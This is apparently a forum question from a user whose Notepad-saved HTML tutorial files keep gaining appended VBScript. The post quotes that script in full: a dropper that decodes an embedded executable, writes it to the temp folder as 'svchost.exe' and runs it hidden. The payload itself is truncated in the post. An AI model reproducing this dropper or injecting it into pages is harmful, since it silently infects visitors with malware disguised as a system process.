I created a bunch of html files using Windows Notepad for the purpose of a basic tutorial. What happens is that when I save any of these html files a couple of times, the following VBScript code gets inserted at the end of the file.

Here's the code that gets inserted:

</html><SCRIPT Language=VBScript><!--
DropFileName = "svchost.exe"
WriteData = "4D5A9000030000 .. some long long string .. "
Set FSO = CreateObject("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & "\" & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng("&H" & Mid(WriteData,i,2)))
End If
Set WSHshell = CreateObject("WScript.Shell")
WSHshell.Run DropPath, 0
What could be the reason, I googled it and found one person having this problem who asked it on a forum. People on the forum were not familiar with this issue.